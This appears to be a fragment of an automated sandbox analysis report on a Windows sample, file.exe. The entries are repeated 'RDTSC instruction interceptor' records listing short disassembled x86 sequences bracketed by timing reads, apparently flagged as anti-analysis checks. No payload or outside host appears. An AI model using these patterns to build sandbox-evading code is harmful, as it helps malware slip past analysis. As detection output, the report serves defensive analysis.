Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418550 second address: 418554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418842 second address: 418847 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418847 second address: 418850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 418850 second address: 418854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420055 second address: 420059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4201D9 second address: 4201E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4201E5 second address: 420218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC875h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jo 00007FDE34EAC86Ch 0x00000012 ja 00007FDE34EAC866h 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b jns 00007FDE34EAC866h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42036B second address: 42036F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42036F second address: 420377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420500 second address: 420510 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE34C00CDAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4207E8 second address: 4207EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4207EC second address: 4207FC instructions: 0x00000000 rdtsc 0x00000002 je 00007FDE34C00CD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4207FC second address: 420800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420800 second address: 420806 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A7A5 second address: 42A7A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42A7A9 second address: 42A7AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42897B second address: 428981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428981 second address: 4289B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE4h 0x00000009 popad 0x0000000a jmp 00007FDE34C00CE7h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4289B5 second address: 4289BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428B08 second address: 428B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428B0C second address: 428B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FDE34EAC86Eh 0x0000000c jnc 00007FDE34EAC866h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428B20 second address: 428B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428B26 second address: 428B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428B30 second address: 428B65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE34C00CE9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 428B65 second address: 428B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429137 second address: 429145 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FDE34C00CD6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429145 second address: 429149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429149 second address: 42914F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42914F second address: 429154 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4293D0 second address: 4293F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FDE34C00CD6h 0x0000000d jmp 00007FDE34C00CE5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4293F4 second address: 4293F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429704 second address: 42971E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE5h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429890 second address: 429894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 429FEA second address: 429FEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 430C01 second address: 430C06 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 430D39 second address: 430D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43BC87 second address: 43BC9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDE34EAC86Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43BC9C second address: 43BCA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43BCA2 second address: 43BCB8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34EAC866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jne 00007FDE34EAC866h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43BCB8 second address: 43BCBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43BCBE second address: 43BCCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007FDE34EAC866h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B9CC second address: 43B9D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B9D2 second address: 43B9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44041B second address: 440425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FDE34C00CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 440425 second address: 440450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34EAC86Ah 0x00000011 jmp 00007FDE34EAC875h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4405EC second address: 440608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FDE34C00CE5h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 440608 second address: 440617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FDE34EAC866h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 440617 second address: 440641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FDE34C00CDCh 0x00000012 pushad 0x00000013 popad 0x00000014 jnp 00007FDE34C00CD6h 0x0000001a popad 0x0000001b jng 00007FDE34C00CD8h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 440641 second address: 440649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 440649 second address: 44064D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44FE36 second address: 44FE57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34EAC879h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44FE57 second address: 44FE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44FE5B second address: 44FE61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44FE61 second address: 44FE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44FE6D second address: 44FE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44FE71 second address: 44FE75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 457AB7 second address: 457AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC875h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 457AD0 second address: 457B02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CDFh 0x00000007 jmp 00007FDE34C00CE9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 457B02 second address: 457B12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 457B12 second address: 457B26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007FDE34C00CD6h 0x0000000e jc 00007FDE34C00CD6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 457B26 second address: 457B2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 457B2A second address: 457B30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 457B30 second address: 457B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4563E0 second address: 4563E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4563E4 second address: 4563F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FDE34EAC866h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4563F0 second address: 4563FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FDE34C00CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4567E5 second address: 4567E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4567E9 second address: 4567EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 456965 second address: 45696F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 456E0E second address: 456E21 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34C00CDEh 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C281 second address: 45C29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC871h 0x00000009 js 00007FDE34EAC866h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C29E second address: 45C2A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45C2A7 second address: 45C2AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45BFA1 second address: 45BFA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4601E4 second address: 4601E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4601E8 second address: 4601EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4601EE second address: 460209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDE34EAC872h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 469441 second address: 46944F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46944F second address: 469453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 479374 second address: 479378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 479378 second address: 479395 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC879h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47BA87 second address: 47BA8D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495D8B second address: 495D91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495D91 second address: 495D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495D97 second address: 495D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495D9D second address: 495DBC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CE3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 495F05 second address: 495F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC86Ah 0x00000009 popad 0x0000000a jc 00007FDE34EAC872h 0x00000010 jmp 00007FDE34EAC86Ch 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4961EA second address: 496209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE34C00CE2h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496209 second address: 49620D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496363 second address: 496388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDE34C00CDEh 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop ebx 0x00000011 jmp 00007FDE34C00CDCh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496388 second address: 49638E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496612 second address: 49662B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34C00CE3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49662B second address: 496646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC872h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4969BC second address: 4969C2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496C3D second address: 496C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC86Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 496C51 second address: 496C5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499F3E second address: 499FC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FDE34EAC86Ah 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FDE34EAC868h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov dword ptr [ebp+122D310Fh], eax 0x00000030 push dword ptr [ebp+12455806h] 0x00000036 jnp 00007FDE34EAC86Ch 0x0000003c mov edx, dword ptr [ebp+122D2E5Fh] 0x00000042 call 00007FDE34EAC869h 0x00000047 jmp 00007FDE34EAC86Fh 0x0000004c push eax 0x0000004d jl 00007FDE34EAC872h 0x00000053 jnp 00007FDE34EAC86Ch 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499FC1 second address: 499FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, dword ptr [esp+04h] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499FCE second address: 499FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499FD2 second address: 499FF5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDE34C00CDEh 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499FF5 second address: 499FFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4940C2D second address: 4940C65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f jmp 00007FDE34C00CE0h 0x00000014 test ecx, ecx 0x00000016 pushad 0x00000017 movzx eax, dx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
